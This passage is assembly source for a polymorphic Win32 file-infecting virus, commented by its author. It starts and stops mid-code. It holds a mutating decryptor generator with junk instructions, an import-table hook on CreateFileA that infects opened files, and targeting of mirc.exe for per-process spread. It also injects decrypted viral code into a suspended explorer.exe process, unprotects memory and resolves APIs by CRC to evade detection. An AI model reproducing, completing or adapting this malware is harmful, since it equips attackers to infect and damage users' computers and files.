jne nosame
inc eax
nosame:
and al,7
mov [ebp + ecxreg],eax
mov byte ptr [edi],0E8h
inc edi
mov dword ptr [edi],0h
add edi,4
callz trash
callz zpop
pop ecx;random
push ecx
and ecx,00003F00h
ror ecx,8
callz trash
callz zadd
pop ecx;random
rol ecx,cl
and ecx,00000007h
push ecx
callz trash
callz zmov
pop ecx;random2
push edi;jnz must jump here
push ecx
callz trash
callz zxor
pop ecx
push ecx
callz trash
callz zdec
pop ecx
push ecx
callz trash
pop ecx
callz trash
callz zor
mov word ptr [edi],850Fh ;jne rel32
inc edi
inc edi
pop ecx; where jnz must jump
sub ecx,edi
sub ecx,4
mov dword ptr [edi],ecx
add edi,4
lea ecx,[ebp + Encrypted]
sub ecx,edi
callz trash
popad
ret
esireg dd 0
ecxreg dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Trash generates unuseful instructions for decryptor
;in:
; edi -> memory where function must write the trash code
; ecx -> bytes to write
;out:
; edi = initial edi + ecx
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
trash:
or ecx,ecx
jz NoTrash
pushad
callz randomize
popad
mov al,byte ptr [ebp + random1]
and eax,0Fh
;;;;;;;;;;;;
Trash0:
or eax,eax
jnz Trash1
cmp ecx,4
jge ok0
callz trash
ret
ok0:
;xor esireg,ecxreg ;33h -> ins code + 11xxxyyyb -> registers
;more trash
;xor esireg,ecxreg ;undo changes
sub ecx,4
mov eax,[ebp + esireg]
mov ebx,[ebp + ecxreg]
mov dl,0C0h
rol al,3
or dl,al
or dl,bl
mov al,33h
stosb
mov al,dl
stosb
push edx
callz trash
pop edx
mov al,33h
stosb
mov al,dl
stosb
ret
;;;;;;;;;;;;
Trash1:
dec eax
or eax,eax
jnz Trash2
cmp ecx,6
jge ok1
callz trash
ret
ok1:
;push esireg
;push ecxreg
;push xx
;more trash
;pop xx
;pop ecxreg
;pop esireg
sub ecx,6
mov eax,[ebp + esireg]
mov ebx,[ebp + ecxreg]
mov dl,[ebp + random2]
and dl,7
add al,50h
add bl,50h
add dl,50h
push eax
push ebx
push edx
stosb
mov al,bl
stosb
mov al,dl
stosb
callz trash
pop eax
add eax,8
stosb
pop eax
add eax,8
stosb
pop eax
add eax,8
stosb
ret
;;;;;;;;;;;;
Trash2:
dec eax
or eax,eax
jnz Trash3
mov al,90h;nop
stosb
dec ecx
callz trash
ret
;;;;;;;;;;;;
Trash3:
dec eax
or eax,eax
jnz Trash4
mov al,0F9h;stc
stosb
dec ecx
callz trash
ret
;;;;;;;;;;;;
Trash4:
dec eax
or eax,eax
jnz Trash5
mov al,0F8h;clc
stosb
dec ecx
callz trash
ret
;;;;;;;;;;;;
Trash5:
dec eax
or eax,eax
jnz Trash6
mov al,0F5h;cmc
stosb
dec ecx
callz trash
ret
;;;;;;;;;;;;
Trash6:
dec eax
or eax,eax
jnz Trash7
cmp ecx,2
jge ok6
callz trash
ret
ok6:
mov eax,[ebp + esireg]
add al,40h
stosb
dec ecx
dec ecx
callz trash
mov eax,[ebp + esireg]
add al,48h
stosb
ret
;;;;;;;;;;;;
Trash7:
dec eax
or eax,eax
jnz Trash8
mov al,90h;0FAh;cli ;damn damn damn in NT cli is privileged :'(
stosb
dec ecx
callz trash
ret
;;;;;;;;;;;;
Trash8:
dec eax
or eax,eax
jnz Trash9
cmp ecx,6
jge ok8
callz trash
ret
ok8:
sub ecx,6
mov al,0C1h
stosb
mov al,0C0h
mov ebx,[ebp + ecxreg]
or al,bl
stosb
mov al,byte ptr[ebp + random2]
stosb
push eax
callz trash
mov al,0C1h
stosb
mov al,0C8h
mov ebx,[ebp + ecxreg]
or al,bl
stosb
pop eax
stosb
ret
;;;;;;;;;;;;
;;;;;;;;;;;;
Trash9:
dec eax
or eax,eax
jnz TrashA
cmp [ebp + esireg],0
je nook9
cmp [ebp + ecxreg],0
je nook9
mov al,0d6h; SALC
stosb
dec ecx
nook9:
callz trash
ret
;;;;;;;;;;;;
;;;;;;;;;;;;
TrashA:
dec eax
or eax,eax
jnz TrashB
cmp ecx,2
jge okA
callz trash
ret
okA:
xor eax,eax
mov al,[ebp + random3]
cmp eax,[ebp + esireg];no ecxreg
je nookA
cmp eax,[ebp + ecxreg];no esireg
je nookA
cmp al,4;no esp
je nookA
or al,al;no eax becoz opcode is different becoz some instruct. are optimizated for eax.
jz nookA
mov bl,[ebp + random2]
and ebx,7
push eax
mov al,byte ptr[ebp + ebx + opcodesA]
stosb
pop eax
mov bl,[ebp + random1]
rol bl,cl
and bl,7
rol al,3
or al,0C0h
or al,bl
stosb
dec ecx
dec ecx
callz trash
ret
nookA:
callz trash
ret
opcodesA:
db 2bh;sub
db 1bh;sbb
db 13h;adc
db 03h;add
db 23h;and
db 3bh;cmp
db 8bh;mov
db 0bh;or
db 85h;test
;;;;;;;;;;;;
;;;;;;;;;;;;
TrashB:
;nothing,only call trash again
callz trash
NoTrash:
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
randomize:;a pseudorandom number generator...its a few bad :P i could have searched something
;about random generators but i was tired in that moment ;P so i coded this short
;and not very efficient function...however i like it :-m
mov ecx,0001FFFFh
WaitAFew:
nop
loop WaitAFew
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov byte ptr [ebp + random1],al
mov ecx,[ebp + CryptKey]
rol eax,cl
mov byte ptr [ebp + random2],al
mov ecx,[ebp + CryptKey]
rol eax,cl
and eax,7
mov byte ptr [ebp + random3],al
ret
random1 db 0
random2 db 0
random3 db 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;all this functions receive as parameter edi pointing to code where we must write polimorphed
;code and return edi pointing to next byte where we have writed
;for now,for useful instructions of decryptor,only is changed the used registers,intruction
;is not changed by other.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zpop poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zpop:
mov eax,[ebp + esireg]
add al,58h
stosb
ret
A1:
A2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zadd poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zadd:
mov eax,[ebp + esireg]
or eax,eax
jnz noeaxreg
lea esi,[ebp + B2]
mov ecx,B3 - B2
rep movsb
ret
noeaxreg:
lea esi,[ebp + B1]
mov bl,byte ptr [ebp + B1 + 1]
and bl,0F8h
or bl,al
mov byte ptr [ebp + B1 + 1],bl
mov ecx,B2 - B1
rep movsb
ret
B1:
add esi,Encrypted - DkRyPtIt
B2:
add eax,Encrypted - DkRyPtIt
B3:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zmov poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zmov:
mov eax,[ebp + ecxreg]
lea esi,[ebp + C1]
add byte ptr [esi],al
mov ecx,C2 - C1
rep movsb
mov byte ptr [ebp + C1],0B8h
ret
C1:
mov eax,((EVirus - Encrypted)/4)
C2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zxor poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zxor:
lea esi,[ebp + D2 - 4]
mov ecx,[ebp + CryptKey]
mov [esi],ecx
mov cl,byte ptr [esi - 2]
mov eax,[ebp + ecxreg]
mov ebx,[ebp + esireg]
rol eax,3
or al,bl
and cl,0C0h
or al,cl
mov byte ptr [esi - 2],al
lea esi,[ebp + D1]
mov ecx,D2 - D1
rep movsb
ret
D1:
xor dword ptr [eax + edx*4 - 4],12345678h
;81h 74h (important byte) FCh KEY
;we must change registers in the important byte
D2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zdec poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zdec:
mov eax,[ebp + ecxreg]
add al,48h
stosb
ret
E1:
E2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zor poly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
zor:
mov ecx,[ebp + ecxreg]
mov eax,ecx
rol eax,3
or al,cl
or al,0C0h
mov byte ptr [ebp + F1 + 1],al
lea esi,[ebp + F1]
mov ecx,F2 - F1
rep movsb
ret
F1:
or ecx,ecx
F2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;HookCreateFileA hooks CreateFileA api for current host and when host call CreateFileA
;then hook-code take control and infect the file than is passed to CreateFileA as parameter.
;
;
;in:
; eax = kernel
;out:
; none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
HookCreateFileA:
pushad
mov dword ptr [ebp + kernel],eax
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 0
call eax
;eax = this module
mov edx,[eax + 3ch]
add edx,eax
mov edx,[edx + 80h];IAT
add edx,eax
mov ebx,eax
;edx -> IAT
;ebx -> MZ
sub edx,14h
SearchInIAT:
add edx,14h
mov esi,[edx + 0ch];name of dll
or esi,esi
jz endHook;if last and no found then we go out...however its very unprobable program doesnt
;import no functions from kernel
add esi,ebx
mov ecx,8
lea edi,[ebp + kernelBuf]
rep movsb
mov ecx,8
toLower:
dec edi
or byte ptr [edi],20h ;becoz i have CRC of 'kernel32' string and ill search with CRC
loop toLower
mov esi,edi
mov edi,8
push edx
push ebx
call CRC32
pop ebx
pop edx
cmp eax,Kernel32CRC
jne SearchInIAT
;edx = kernel entry in IAT
push edx
mov edx,[edx]
add edx,ebx
;edx = array of names of kernel32
push edx
sub edx,4
SearchCreateFileA:
add edx,4
mov esi,[edx];name of api
or esi,esi
jz endHookWithPop ;if last and no found CreateFileA we go out
add esi,ebx
inc esi
inc esi
CalcLenString
;esi -> name
;ecx = len
mov edi,ecx
push edx
push ebx
call CRC32 ;i search CreateFile by CRC too
pop ebx
pop edx
cmp eax,CreateFileACRC
jne SearchCreateFileA
pop ecx;start of array
sub edx,ecx
pop eax
mov eax,[eax + 10h]
add eax,edx
add eax,ebx
;dword ptr [eax] = dir of CreateFileA
;we must overwrite this dir with our hook rutine ;)
;i think that unprotect mem its not necessary becoz loader must write that dir
;however ill unprotect it
push eax
mov esi,eax
mov eax,[ebp + kernel]
mov ecx,4
xor ebx,ebx
callz UnprotectMem
pop eax
lea esi,[ebp + HookRutine]
mov dword ptr [eax],esi ;i put over CreateFileA dir my hook rutine dir ;)
mov eax,[ebp + kernel]
GezApi eax,CreateFileACRC,CFNameLen
mov [ebp + CreateFileADir],eax ;ill need in hook rutine
mov eax,[ebp + kernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
mov [ebp + FindFirstFileADir],eax ;ill need it in hook rutine and i wanna be fast so ill
;calc it here and i keep it
jmpz endHook
endHookWithPop:
pop eax
endHook:
popad
ret
kernelBuf db 8 dup (?)
HookRutine:
push eax
pushad
pushfd
callz HookdOff
HookdOff:
pop ebp
sub ebp,offset HookdOff
mov eax,[ebp + CreateFileADir]
mov [esp + 24h],eax ;for next ret jumps CreateFileA
mov eax,[esp + 2Ch];file
lea ebx,[ebp + WIN32_FIND_DATA]
push ebx
push eax
call dword ptr [ebp + FindFirstFileADir]
xor eax,eax
inc eax
;callz InfectIt
popfd
popad
ret;i have push eax but later i have change [esp + 24h] to CreateFileA dir so
;with a ret program will jmp to CreateFileA ;)
CreateFileADir dd 0
FindFirstFileADir dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;TestFile will test WIN32_FIND_DATA to see if current file found is mirc.exe or other
;typical irc programs and later infect them with per-process characteristic.
;In addition it tests if file is explorer.exe for not infection.
;
;in:none
;
;out: eax = 1 infect with per-process / eax = 0 not necesary perprocess / eax = -1 no infect
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
TestFile:
;When i began to code perprocess part i though to search recursively some programs
;in hard disk(mirc.exe,messenger and others) for infecting it with perprocess,but finally
;i decide if i found some of that programs,then i infect them with perprocess but i
;dont search them.I think if i infect some specific programs with perprocess for
;increasing infection capability im not coding a worm,however if i search programs for
;modifing them for virus was sent by irc or mail or other,then im coding a worm.This is
;only a mania,i dont want my virus was a worm :P,only that.
mircCRC equ 7c55758dh ; CRC of 'mirc.exe'
explorerCRC equ 0be037055h ; CRC of 'explorer.exe'
lea esi,[ebp + WFD_szFileName]
CalcLenString
push ecx
add ecx,esi
push esi
dec esi
ToLowerFileName:
inc esi
cmp esi,ecx
je EndToLower
cmp byte ptr [esi],'A'
jb ToLowerFileName
cmp byte ptr [esi],'Z'
jg ToLowerFileName
or byte ptr [esi],20h
jmp ToLowerFileName
EndToLower:
pop esi
pop edi
callz CRC32
;eax = CRC of file name
cmp eax,mircCRC
je retPerProcess
cmp eax,explorerCRC
je retNoInfect
xor eax,eax
ret
retPerProcess:
xor eax,eax
inc eax
ret
retNoInfect:
xor eax,eax
dec eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Pad:
PADDING equ 4 -(((Pad - SCode) - (4*((Pad - SCode)/4))))
db PADDING dup (0)
;code size its a multiple of 4 becoz encryption reasons.
ECode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MyEntryPoint:
;HERE EXECUTION BEGINS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;vvvvvvvvvvvvvvvvvvpolymorphed
callz DkRyPtIt
DkRyPtIt:
pop esi
add esi,Encrypted - DkRyPtIt
mov ecx,((EVirus - Encrypted)/4)
GoGoGo:
xor dword ptr [esi + ecx*4 - 4],12345678h
dec ecx
or ecx,ecx
jnz GoGoGo
endDKR:
PADDKR equ 200 - (endDKR - MyEntryPoint)
db PADDKR dup (90h) ;dekryptor has always 200 bytes :'(
;^^^^^^^^^^^^^^^^^^polymorphed
Encrypted:
call d_offset
d_offset:
pop ebp
sub ebp,offset d_offset
pop eax
push eax
xor ax,ax
add eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchKernel
;callz DetectSICE
push eax
callz InjectToExplorer ;ill run other part of code in explorer.exe
pop eax
pushad
mov ebx,dword ptr [ebp + SCode]
cmp ebx,000000E8h
jne NoHook
;if part of explorer injected code its uncrypted before copying it to explorer then
;we can hook CreateFileA api ;)
callz HookCreateFileA
NoHook:
popad
pushad
callz NTInvasion ;/
popad
EndFirstPart:
cmp dword ptr [ebp + OldEntryPoint],0
je endit
;here we restore EPO bytes and jmp there
push eax
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 0
call eax
mov ebx,eax
pop eax
mov esi,[ebp + OldEntryPoint]
add esi,ebx
push esi
mov ecx,EPOCodeSize
xor ebx,ebx
callz UnprotectMem
pop esi
mov edi,esi
push esi
lea esi,[ebp + EPORestoreBytes]
mov ecx,EPOCodeSize
rep movsb
pop esi
jmp esi
endit: ;only first gen...in second we return to host
push 0
call ExitProcess
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
OldEntryPoint dd 0
EPORestoreBytes db EPOCodeSize dup(0)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Loads and injects to explorer the viral code and execute it.
;in:
; eax = Base Kernel
;out:
; none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
InjectToExplorer:;only in 9x
mov ecx,cs
xor cl,cl
or ecx,ecx
jne ContinueInjecting
ret
ContinueInjecting:
push eax;we save kernel base
;now ill create a new process but stopped...createprocess has a option
;to create the process stopped and you can to force it to continue later.So ill
;create this new process and after ill infect in memory it with this code but
;uncryting encrypted parts.
callz LoadExplorer9x
; eax = handle to process
; ebx = process ID
; ecx = offset of primary module(.exe module)
; edx = size of module in bytes
; esi = primary thread handle
; edi = primary thread ID
pushad
mov ebx,eax ;handle of process
mov eax,[esp + 32] ;base of kernel
mov esi,ecx ;offset of module
mov ecx,edx ;size of module
;now we unprotect new process mem
callz UnprotectMem
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase
;now i must search entry point of new process
;Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
mov eax,[esp + 32];BaseKernel
mov ebx,[esp + 28];hProcess
mov ecx,[esp + 24];OffsetInProc
add ecx,3ch ;for reading lfanew
push 0 ;space for reading lfanew value
mov edx,esp ;Buffer
pushad
Readz eax,ebx,ecx,edx,4
popad
pop esi ;lfanew
sub ecx,3ch
add ecx,esi ;lfanew + module
add ecx,28h ;lfanew + module + 28h for reading entryPoint
push 0 ;space for reading lfanew value
mov edx,esp ;Buffer
pushad
Readz eax,ebx,ecx,edx,4
popad
pop edi
mov ecx,[esp + 24];OffsetInProc
add edi,ecx
;edi = entryPoint in module in new process
;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so
;now we must search the key using brute force
xor ecx,ecx
mov edx,dword ptr [ebp + SCode]
WhatKey:
xor edx,ecx
cmp edx,000000E8h
je KeyFound
xor edx,ecx
loop WhatKey
KeyFound:
mov edx,ecx
;edx = key
lea esi,[ebp + SCode]
mov ecx,((ECode - SCode)/4)
;and now we will write the code to new process uncrypting it while
WriteCode:
pushad
push dword ptr [esi]
xor dword ptr [esp],edx
mov esi,esp
Writez eax,ebx,edi,esi,4
pop esi
popad
add esi,4
add edi,4
loop WriteCode
sub esi,ebp
cmp esi,offset EVirus
je CodeCopied
add esi,ebp
mov ecx,((EVirus - ECode)/4)
xor edx,edx
jmpz WriteCode
CodeCopied:
;here we must have copied all code and now we must start execution of thread
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase
mov eax,[esp + 32]
GezApi eax,ResumeThreadCRC,RTNameLen
;eax -> ResumeThread
push dword ptr [esp + 4];Thread Handle
call eax
add esp,32
pop eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in:
; eax -> base of kernel
; esi -> dir of memory that will be writable.
; ecx -> bytes of that memory.
; ebx -> handle of the process where is the memory.If 0 this process
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
UnprotectMem:
or ebx,ebx
jne NoThisProcess
push eax
push esi
push ecx
GezApi eax,GetCurrentProcessCRC,GCPNameLen
;eax -> GetCurrentProcess
call eax
;eax = hand of this process
mov ebx,eax
pop ecx
pop esi
pop eax
NoThisProcess:
push ebx
push esi
push ecx
GezApi eax,VirtualProtectExCRC,VPNameLen
;eax -> VirtualProtectEx
pop ecx
pop esi
pop ebx
;ebx = hand of process
;esi = dir
;ecx = nbytes
push eax ;space for receiving lpflOldProtect out parameter
push esp
push PAGE_EXECUTE_READWRITE
push ecx
push esi
push ebx
call eax
pop eax ;we remove space that we reserve in the stack for out parameter
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
; edi = size of buffer
;out:
; eax = cksum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc.
;in:
; eax -> base of dll
; edx = the crc32 of api to search.
; ebx = api name len.
;out:
; eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:
;eax -> base of dll
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov ebx,[eax + 20h]
add ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub ebx,4
SearchApiByCRC:
add ebx,4
mov esi,[ebx]
add esi,dword ptr [esp + 12]
CalcLenString
;ecx = length api.name
mov edi,[esp + 4]
cmp edi,ecx
jne SearchApiByCRC
mov edi,ecx
push ebx
push edx
callz CRC32
pop edx
pop ebx
cmp eax,edx
jne SearchApiByCRC
pop edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;LoadExplorer9x creates a new process suspended with explorer.exe in 9x
;
;I learned how to use ToolHelp32 and psapi thx to Win32.Dengue so i must say thx to GriYo :)
;I havent copied code! ... i have read it and i have learned from it :)
;
;in:
; eax = base of kernel
;out:
; eax = handle to process
; ebx = process ID
; ecx = offset of primary module(.exe module)
; edx = size of module in bytes
; esi = primary thread handle
; edi = primary thread ID
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LoadExplorer9x:
;Note that though we create a process
;from a module from windows directory we specify to CreateProcess that
;working directory is same than calling process,this process,so we can search
;here a file to infect it.
push eax ;kernel base saved
sub esp,200
mov esi,esp
callz GetExplorer
;ecx = number of read bytes
push ecx ;we save it
mov eax,dword ptr [esp + 204];eax = base kernel
GezApi eax,CreateProcessACRC,CPNameLen
;eax -> CreateProcessA
mov ecx,(STARTUPINFOSIZE + PROCESSINFORMATIONSIZE)/4
xor edx,edx
SaveSpace9x:
push edx
loop SaveSpace9x
;esp -> Process Information structure
;esp + PROCESSINFORMATIONSIZE -> startupinfo structure
;[esp + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = len of name of module
;esp + 4 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE -> name of module
;[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = base of kernel
mov dword ptr [esp + PROCESSINFORMATIONSIZE],64;size of startupinfo
mov edx,esp
push edx;process information
add edx,PROCESSINFORMATIONSIZE
push edx;startupinfo
push 0
push 0
push CREATE_SUSPENDED or CREATE_NEW_PROCESS_GROUP
push 0
push 0
push 0
push 0
add edx,4 + STARTUPINFOSIZE
push edx;name of module
call eax;CreateProcessA
;we have created the suspended process
;[esp] = handle to new process
;[esp + 4] = handle to primary thread(suspended)
;[esp + 8] = Id of process
;[esp + 12] = Id of thread
;now i must search the primary module of the process.
mov eax,[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
;eax = base of kernel
GezApi eax,CreateToolhelp32SnapShotCRC,CT32SNameLen
